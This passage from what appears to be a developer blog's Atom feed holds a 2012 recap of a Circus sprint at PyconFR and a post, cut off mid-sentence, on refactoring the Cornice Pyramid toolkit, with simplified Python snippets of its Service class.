&lt;p&gt;Until next&amp;nbsp;time?&lt;/p&gt;</content><category term="code"></category></entry><entry><title>Circus sprint at PyconFR</title><link href="https://blog.notmyidea.org/circus-sprint-at-pyconfr.html" rel="alternate"></link><published>2012-09-17T00:00:00+02:00</published><updated>2012-09-17T00:00:00+02:00</updated><author><name></name></author><id>tag:blog.notmyidea.org,2012-09-17:/circus-sprint-at-pyconfr.html</id><summary type="html">
&lt;p&gt;Last Thursday to Sunday, &lt;a href="http://pycon.fr"&gt;Pycon France&lt;/a&gt; took place, in
Paris. It was the opportunity to meet a lot of people and to talk about
python awesomness in&amp;nbsp;general.&lt;/p&gt;
&lt;p&gt;We had three tracks this year, plus sprints the two first days. We
sprinted on &lt;a href="http://circus.io"&gt;Circus&lt;/a&gt;, the process and socket manager
we …&lt;/p&gt;</summary><content type="html">
&lt;p&gt;Last Thursday to Sunday, &lt;a href="http://pycon.fr"&gt;Pycon France&lt;/a&gt; took place, in
Paris. It was the opportunity to meet a lot of people and to talk about
python awesomness in&amp;nbsp;general.&lt;/p&gt;
&lt;p&gt;We had three tracks this year, plus sprints the two first days. We
sprinted on &lt;a href="http://circus.io"&gt;Circus&lt;/a&gt;, the process and socket manager
we&amp;#8217;re using at Mozilla for some of our&amp;nbsp;setups.&lt;/p&gt;
&lt;p&gt;The project gathered some interest, and we ended up with 5 persons
working on it. Of course, we spent some time explaining what is Circus,
how it had been built, a lot of time talking about use-cases and
possible improvements, but we also managed to add new&amp;nbsp;features.&lt;/p&gt;
&lt;p&gt;Having people wanting to sprint on our projects is exciting because
that&amp;#8217;s when making things in the open unleashes its full potential. You
can&amp;#8217;t imagine how happy I was to have some friends come and work on this
with us&amp;nbsp;:)&lt;/p&gt;
&lt;p&gt;Here is a wrap-up of the&amp;nbsp;sprint:&lt;/p&gt;
&lt;h2 id="autocompletion-on-the-command-line"&gt;Autocompletion on the&amp;nbsp;command-line&lt;/h2&gt;
&lt;p&gt;&lt;a href="http://natim.ionyse.com"&gt;Remy Hubscher&lt;/a&gt; worked on the command-line
autocompletion. Now we have a fancy command-line interface which is able
to aucomplete if you&amp;#8217;re using bash. It seems that not that much work is
needed to make it happen on zsh as well&amp;nbsp;:)&lt;/p&gt;
&lt;p&gt;&lt;a href="https://github.com/mozilla-services/circus/blob/master/extras/circusctl_bash_completion"&gt;Have a look at the&amp;nbsp;feature&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;On the same topic, we now have a cool shell for Circus. If you start the
circusctl command without any option, you&amp;#8217;ll end-up with a cool shell.
Thanks &lt;a href="https://github.com/jojax"&gt;Jonathan Dorival&lt;/a&gt; for the work on
this! You can have a look at &lt;a href="https://github.com/mozilla-services/circus/pull/268"&gt;the pull
request&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="future-changes-to-the-web-ui"&gt;Future changes to the web&amp;nbsp;ui&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://twitter.com/rachbelaid"&gt;Rachid Belaid&lt;/a&gt; had a deep look at the
source code and is much more familiarized to it now than before. We
discussed the possibility to change the implementation of the web ui,
and I&amp;#8217;m glad of this. Currently, it&amp;#8217;s done with bottle.py and we want to
switch to&amp;nbsp;pyramid.&lt;/p&gt;
&lt;p&gt;He fixed some issues that were in the tracker, so we now can have the
age of watchers in the webui, for&amp;nbsp;instance.&lt;/p&gt;
&lt;h2 id="bug-and-doc-fixing"&gt;Bug and doc&amp;nbsp;fixing&lt;/h2&gt;
&lt;p&gt;While reading the source code, we found some inconsistencies and fixed
them, with &lt;a href="http://mathieu.agopian.info/"&gt;Mathieu Agopian&lt;/a&gt;. We also
tried to improve the documentation at different&amp;nbsp;levels.&lt;/p&gt;
&lt;p&gt;Documentation still needs a lot of love, and I&amp;#8217;m planning to spend some
time on this shortly. I&amp;#8217;ve gathered a bunch of feedback on&amp;nbsp;this&lt;/p&gt;
&lt;h2 id="circus-clustering-capabilities"&gt;Circus clustering&amp;nbsp;capabilities&lt;/h2&gt;
&lt;p&gt;One feature I wanted to work on during this sprint was the clustering
abilities of Circus. Nick Pellegrino made an internship on this topic at
Mozilla so we spent some time to review his pull&amp;nbsp;requests.&lt;/p&gt;
&lt;p&gt;A lot of code was written for this so we discussed a bunch of things
regarding all of this. It took us more time than expected (and I still
need to spend more time on this to provide appropriate feedback), but it
allowed us to have a starting-point about what this clustering thing
could&amp;nbsp;be.&lt;/p&gt;
&lt;p&gt;Remy wrote &lt;a href="http://tech.novapost.fr/circus-clustering-management-en.html"&gt;a good summary about our
brainstorming&lt;/a&gt;
so I&amp;#8217;ll not do it again here, but feel free to contact us if you have
ideas on this, they&amp;#8217;re very&amp;nbsp;welcome!&lt;/p&gt;
&lt;h2 id="project-management"&gt;Project&amp;nbsp;management&lt;/h2&gt;
&lt;p&gt;We&amp;#8217;ve had some inquiries telling us that&amp;#8217;s not as easy as it should to
get started with the Circus project. Some of the reasons are that we
don&amp;#8217;t have any release schedule, and that the documentation is hairy
enough to lost people, at some point&amp;nbsp;:)&lt;/p&gt;
&lt;p&gt;That&amp;#8217;s something we&amp;#8217;ll try to fix soon&amp;nbsp;:)&lt;/p&gt;
&lt;p&gt;PyconFR was a very enjoyable event. I&amp;#8217;m looking forward to meet the
community again and discuss how Circus can evolve in ways that are
interesting to&amp;nbsp;everyone.&lt;/p&gt;
&lt;p&gt;Tarek and me are going to &lt;a href="http://python.ie/pycon/2012/"&gt;Pycon ireland&lt;/a&gt;,
feel free to reach us if you&amp;#8217;re going there, we&amp;#8217;ll be happy to meet and
enjoy&amp;nbsp;beers!&lt;/p&gt;</content><category term="code"></category></entry><entry><title>Refactoring Cornice</title><link href="https://blog.notmyidea.org/refactoring-cornice.html" rel="alternate"></link><published>2012-05-01T00:00:00+02:00</published><updated>2012-05-01T00:00:00+02:00</updated><author><name></name></author><id>tag:blog.notmyidea.org,2012-05-01:/refactoring-cornice.html</id><summary type="html">
&lt;p&gt;After working for a while with &lt;a href="http://cornice.readthedocs.com"&gt;Cornice&lt;/a&gt;
to define our APIs at &lt;a href="http://docs.services.mozilla.com"&gt;Services&lt;/a&gt;, it
turned out that the current implementation wasn&amp;#8217;t flexible enough to
allow us to do what we wanted to&amp;nbsp;do.&lt;/p&gt;
&lt;p&gt;Cornice started as a toolkit on top of the
&lt;a href="http://docs.pylonsproject.org/en/latest/docs/pyramid.html"&gt;pyramid&lt;/a&gt;
routing system, allowing to register services …&lt;/p&gt;</summary><content type="html">
&lt;p&gt;After working for a while with &lt;a href="http://cornice.readthedocs.com"&gt;Cornice&lt;/a&gt;
to define our APIs at &lt;a href="http://docs.services.mozilla.com"&gt;Services&lt;/a&gt;, it
turned out that the current implementation wasn&amp;#8217;t flexible enough to
allow us to do what we wanted to&amp;nbsp;do.&lt;/p&gt;
&lt;p&gt;Cornice started as a toolkit on top of the
&lt;a href="http://docs.pylonsproject.org/en/latest/docs/pyramid.html"&gt;pyramid&lt;/a&gt;
routing system, allowing to register services in a simpler way. Then we
added some niceties such as the ability to automatically generate the
services documentation or returning the correct &lt;span class="caps"&gt;HTTP&lt;/span&gt; headers &lt;a href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html"&gt;as defined
by the &lt;span class="caps"&gt;HTTP&lt;/span&gt;
specification&lt;/a&gt;
without the need from the developer to deal with them nor to know&amp;nbsp;them.&lt;/p&gt;
&lt;p&gt;If you&amp;#8217;re not familiar with Cornice, here is how you define a simple
service with&amp;nbsp;it:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cornice.service&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Service&lt;/span&gt;
&lt;span class="n"&gt;bar&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Service&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;/bar&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nd"&gt;@bar&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;validators&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;validators&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;accept&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;application/json&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_drink&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="c1"&gt;# do something with the request (with moderation).&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This external &lt;span class="caps"&gt;API&lt;/span&gt; is quite cool, as it allows to do a bunch of things
quite easily. For instance, we&amp;#8217;ve written our
&lt;a href="https://github.com/mozilla-services/tokenserver"&gt;token-server&lt;/a&gt; code on
top of this in a&amp;nbsp;blast.&lt;/p&gt;
&lt;h2 id="the-burden"&gt;The&amp;nbsp;burden&lt;/h2&gt;
&lt;p&gt;The problem with this was that we were mixing internally the service
description logic with the route registration one. The way we were doing
this was via an extensive use of decorators&amp;nbsp;internally.&lt;/p&gt;
&lt;p&gt;The &lt;span class="caps"&gt;API&lt;/span&gt; of the cornice.service.Service class was as following
(simplified so you can get the gist of&amp;nbsp;it).&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Service&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;object&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="fm"&gt;__init__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;service_kwargs&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="c1"&gt;# some information, such as the colander schemas (for validation),&lt;/span&gt;
        &lt;span class="c1"&gt;# the defined methods that had been registered for this service and&lt;/span&gt;
        &lt;span class="c1"&gt;# some other things were registered as instance variables.&lt;/span&gt;
        &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;schemas&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;service_kwargs&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;schema&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;, None)&lt;/span&gt;
        &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;defined_methods&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
        &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;definitions&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;api&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;view_kwargs&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="sd"&gt;&amp;quot;&amp;quot;&amp;quot;This method is a decorator that is being used by some alias&lt;/span&gt;
&lt;span class="sd"&gt;        methods.&lt;/span&gt;
&lt;span class="sd"&gt;        &amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
        &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;wrapper&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;view&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
            &lt;span class="c1"&gt;# all the logic goes here. And when I mean all the logic, I&lt;/span&gt;
            &lt;span class="c1"&gt;# mean it.&lt;/span&gt;
            &lt;span class="c1"&gt;# 1. we are registering a callback to the pyramid routing&lt;/span&gt;
            &lt;span class="c1"&gt;#    system so it gets called whenever the module using the&lt;/span&gt;
            &lt;span class="c1"&gt;#    decorator is used.&lt;/span&gt;
            &lt;span class="c1"&gt;# 2. we are transforming the passed arguments so they conform&lt;/span&gt;
            &lt;span class="c1"&gt;#    to what is expected by the pyramid routing system.&lt;/span&gt;
            &lt;span class="c1"&gt;# 3. We are storing some of the passed arguments into the&lt;/span&gt;
            &lt;span class="c1"&gt;#    object so we can retrieve them later on.&lt;/span&gt;
            &lt;span class="c1"&gt;# 4. Also, we are transforming the passed view before&lt;/span&gt;
            &lt;span class="c1"&gt;#    registering it in the pyramid routing system so that it&lt;/span&gt;
            &lt;span class="c1"&gt;#    can do what Cornice wants it to do (checking some rules,&lt;/span&gt;
            &lt;span class="c1"&gt;#    applying validators and filters etc.&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;wrapper&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="sd"&gt;&amp;quot;&amp;quot;&amp;quot;A shortcut of the api decorator&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;api&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request_method&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;GET&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;I encourage you to go read &lt;a href="https://github.com/mozilla-services/cornice/blob/4e0392a2ae137b6a11690459bcafd7325e86fa9e/cornice/service.py#L44"&gt;the entire
file&lt;/a&gt;.
on github so you can get a better opinion on how all of this was&amp;nbsp;done.&lt;/p&gt;
&lt;p&gt;A bunch of things are&amp;nbsp;wrong:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;first, we are not separating the description logic from the
    registration one. This causes problems when we need to access the
    parameters passed to the service, because the parameters you get are
    not exactly the ones you passed but the ones that the pyramid
    routing system is expecting. For instance, if you want to get the
    view get_drink, you will instead get a decorator which contains
    this&amp;nbsp;view.&lt;/li&gt;
&lt;li&gt;second, we are using decorators as APIs we expose. Even if
    decorators are good as shortcuts, they shouldn&amp;#8217;t be the default way
    to deal with an &lt;span class="caps"&gt;API&lt;/span&gt;. A good example of this is &lt;a href="https://github.com/mozilla-services/cornice/blob/4e0392a2ae137b6a11690459bcafd7325e86fa9e/cornice/resource.py#L56"&gt;how the resource
    module consumes this
    &lt;span class="caps"&gt;API&lt;/span&gt;&lt;/a&gt;.
    This is quite hard to&amp;nbsp;follow.&lt;/li&gt;
&lt;li&gt;Third, in the api method, a bunch of things are done regarding
    inheritance of parameters that are passed to the service or to its
    decorator methods. This leaves you with a really hard to follow path
    when it comes to add new parameters to your &lt;span class="caps"&gt;API&lt;/span&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="how-do-we-improve-this"&gt;How do we improve&amp;nbsp;this?&lt;/h2&gt;
&lt;p&gt;Python is great because it allows you to refactor things in an easy way.
What I did isn&amp;#8217;t breaking our APIs, but make things way simpler to
hack-on. One example is that it allowed me to add features that we
wanted to bring to Cornice really quickly (a matter of minutes), without
touching the &lt;span class="caps"&gt;API&lt;/span&gt; that&amp;nbsp;much.&lt;/p&gt;
&lt;p&gt;Here is the gist of the new&amp;nbsp;architecture:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Service&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;object&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="c1"&gt;# we define class-level variables that will be the default values for&lt;/span&gt;
    &lt;span class="c1"&gt;# this service. This makes things more extensible than it was before.&lt;/span&gt;
    &lt;span class="n"&gt;renderer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;simplejson&amp;#39;&lt;/span&gt;
    &lt;span class="n"&gt;default_validators&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;DEFAULT_VALIDATORS&lt;/span&gt;
    &lt;span class="n"&gt;default_filters&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;DEFAULT_FILTERS&lt;/span&gt;

    &lt;span class="c1"&gt;# we also have some class-level parameters that are useful to know&lt;/span&gt;
    &lt;span class="c1"&gt;# which parameters are supposed to be lists (and so converted as such)&lt;/span&gt;
    &lt;span class="c1"&gt;# or which are mandatory.&lt;/span&gt;
    &lt;span class="n"&gt;mandatory_arguments&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;renderer&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,)&lt;/span&gt;
    &lt;span class="n"&gt;list_arguments&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;validators&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;filters&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="fm"&gt;__init__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;description&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kw&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="c1"&gt;# setup name, path and description as instance variables&lt;/span&gt;
        &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;
        &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt;
        &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;description&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;description&lt;/span&gt;

        &lt;span class="c1"&gt;# convert the arguments passed to something we want to store&lt;/span&gt;
        &lt;span class="c1"&gt;# and then store them as attributes of the instance (because they&lt;/span&gt;
        &lt;span class="c1"&gt;# were passed to the constructor&lt;/span&gt;
        &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;arguments&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_arguments&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;kw&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;arguments&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;items&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
            &lt;span class="nb"&gt;setattr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

        &lt;span class="c1"&gt;# we keep having the defined_methods tuple and the list of&lt;/span&gt;
        &lt;span class="c1"&gt;# definitions that are done for this service&lt;/span&gt;
        &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;defined_methods&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
        &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;definitions&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_arguments&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;conf&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="sd"&gt;&amp;quot;&amp;quot;&amp;quot;Returns a dict of arguments. It does all the conversions for&lt;/span&gt;
&lt;span class="sd"&gt;        you, and uses the information that were defined at the instance&lt;/span&gt;
&lt;span class="sd"&gt;        level as fallbacks.&lt;/span&gt;
&lt;span class="sd"&gt;        &amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;add_view&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;method&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;view&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="sd"&gt;&amp;quot;&amp;quot;&amp;quot;Add a view to this service.&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
        &lt;span class="c1"&gt;# this is really simple and looks a lot like this&lt;/span&gt;
        &lt;span class="n"&gt;method&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;method&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;upper&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;definitions&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;method&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;view&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;method&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;defined_methods&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;defined_methods&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;method&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;decorator&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;method&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="sd"&gt;&amp;quot;&amp;quot;&amp;quot;This is only another interface to the add_view method, exposing a&lt;/span&gt;
&lt;span class="sd"&gt;    decorator interface&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
        &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;wrapper&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;view&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
            &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add_view&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;method&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;view&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;view&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;wrapper&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;So, the service is now only storing the information that&amp;#8217;s passed to it
and nothing more. No more route registration logic goes here. Instead, I
added this as another feature, even in a different module. The function
is named register_service_views and has the following&amp;nbsp;signature:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;register_service_views&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;config&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;service&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;To sum up, here are the changes I&amp;nbsp;made:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Service description is now separated from the route&amp;nbsp;registration.&lt;/li&gt;
&lt;li&gt;cornice.service.Service now provides a hook_view method, which is
    not a decorator. decorators are still present but they are optional
    (you don&amp;#8217;t need to use them if you don&amp;#8217;t want&amp;nbsp;to).&lt;/li&gt;
&lt;li&gt;Everything has been decoupled as much as possible, meaning that you
    really can use the Service class as a container of information about
    the services you are describing. This is especially useful when
    generating&amp;nbsp;documentation.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;As a result, it is now possible to use Cornice with other frameworks. It
